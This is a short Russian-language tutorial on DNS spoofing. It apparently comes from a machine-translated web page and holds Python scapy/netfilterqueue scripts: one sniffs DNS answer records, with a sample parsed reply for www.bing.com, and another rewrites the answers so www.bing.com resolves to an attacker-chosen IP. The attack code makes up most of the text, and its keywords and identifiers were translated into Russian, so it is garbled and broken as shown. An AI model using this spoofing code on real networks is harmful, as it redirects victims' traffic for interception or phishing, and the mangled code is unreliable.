Что такое DNS спуфинг
Sniff пакет DNSRR и показать на терминале.
# ! / USR / бен / окр питон из netfilterqueue импорта NetfilterQueue из scapy.layers.dns импорта DNSRR, IP DEF process_packet (пакет): scapy_packet = IP (packet.get_payload ()) , если scapy_packet.haslayer (DNSRR): печать (scapy_packet .show ()) packet.accept () очереди = NetfilterQueue () queue.bind (0, process_packet) попробовать : queue.run () , за исключением KeyboardInterrupt: печать ( '' )
Проанализируйте следующую DNSRR запись.
### [ IP - ] ### версия = 4 IHL = 5 тос = 0x0 Len = 218 ID = 0 флагов = DF осколочной = 0 ТТЛ = 64 прото = UDP ChkSum = 0x25e8 SRC = 10.0.0.1 ДСТ = 10.0.0.43 \ опции \ ### [ UDP ] ### спорт = домен DPORT = 42647 Len = 198 ChkSum = 0x9388 ### [ DNS ] ### ID = 40073 дг = 1 опкод = QUERY аа = 0 дц = 0 й = 1 га = 1 г = 0 объявления = 0 кд = 0 RCODE = нормально qdcount = 1 ancount = 3 nscount = 1 arcount = 0 \ \ раз в сутки | ### [ DNS Вопрос Запись ] ### | QName = 'www.bing.com. | qtype = AAAA | qclass = IN \ ап \ | ### [ DNS записи ресурса ] ### | rrname = 'www.bing.com. | тип = CNAME | rclass = В | ТТЛ = 2063 | не rdlen = None | RDATA = 'а-0001 .a-afdentry.net.trafficmanager.net. | ### [ DNS записи ресурса ] ### | rrname = 'а-0001 .a-afdentry.net.trafficmanager.net. | тип = CNAME | rclass = IN | ТТЛ = 414 | не rdlen = None | RDATA = 'cn.cn-0001 .cn-msedge.net. | ### [ DNS записи ресурса ] ### | rrname = 'cn.cn-0001 .cn-msedge.net. | тип = CNAME | rclass = IN | ТТЛ = 38 | не rdlen = None | RDATA = 'CN-0001 .cn-msedge.net. \ нс \ | ### [ DNS SOA запись ресурса ] ### | rrname = 'cn-msedge.net. | тип = SOA | rclass = IN | ТТЛ = 38 | не rdlen = None | mname = 'ns1.cn-msedge.net. | RNAME = 'msnhst.microsoft.com. | Последовательный = 2017032701 | обновить = 1800 | повторите = 900 | истекает = 2419200 | не минимальная = 240 ар = None
Перенаправление DNS ответов
# / USR / бен / окр питон! От netfilterqueue импорта NetfilterQueue из scapy.layers.dns импорта * четкости process_packet (пакетов): scapy_packet = IP (packet.get_payload ()) , если scapy_packet.haslayer (DNSQR): QName = scapy_packet [DNSQR ] .qname если " www.bing.com " в qname.decode (ошибки = ' игнорировать ' ): печать ( " [+] Spoofing цель " ) ответ = DNSRR (rrname = QName, RDATA = " 10.0.0.43 " ) scapy_packet [DNS] .an = ответ scapy_packet [DNS] .ancount = 1 - дель scapy_packet [IP] .LEN дель scapy_packet [IP] .chksum дель scapy_packet [UDP] .chksum дель scapy_packet [UDP] .Len packet.set_payload (ул (scapy_packet) .encode ()) packet.accept () очереди = NetfilterQueue () queue.bind (0, process_packet) попробовать : queue.run () , за исключением KeyboardInterrupt: печать ( '' )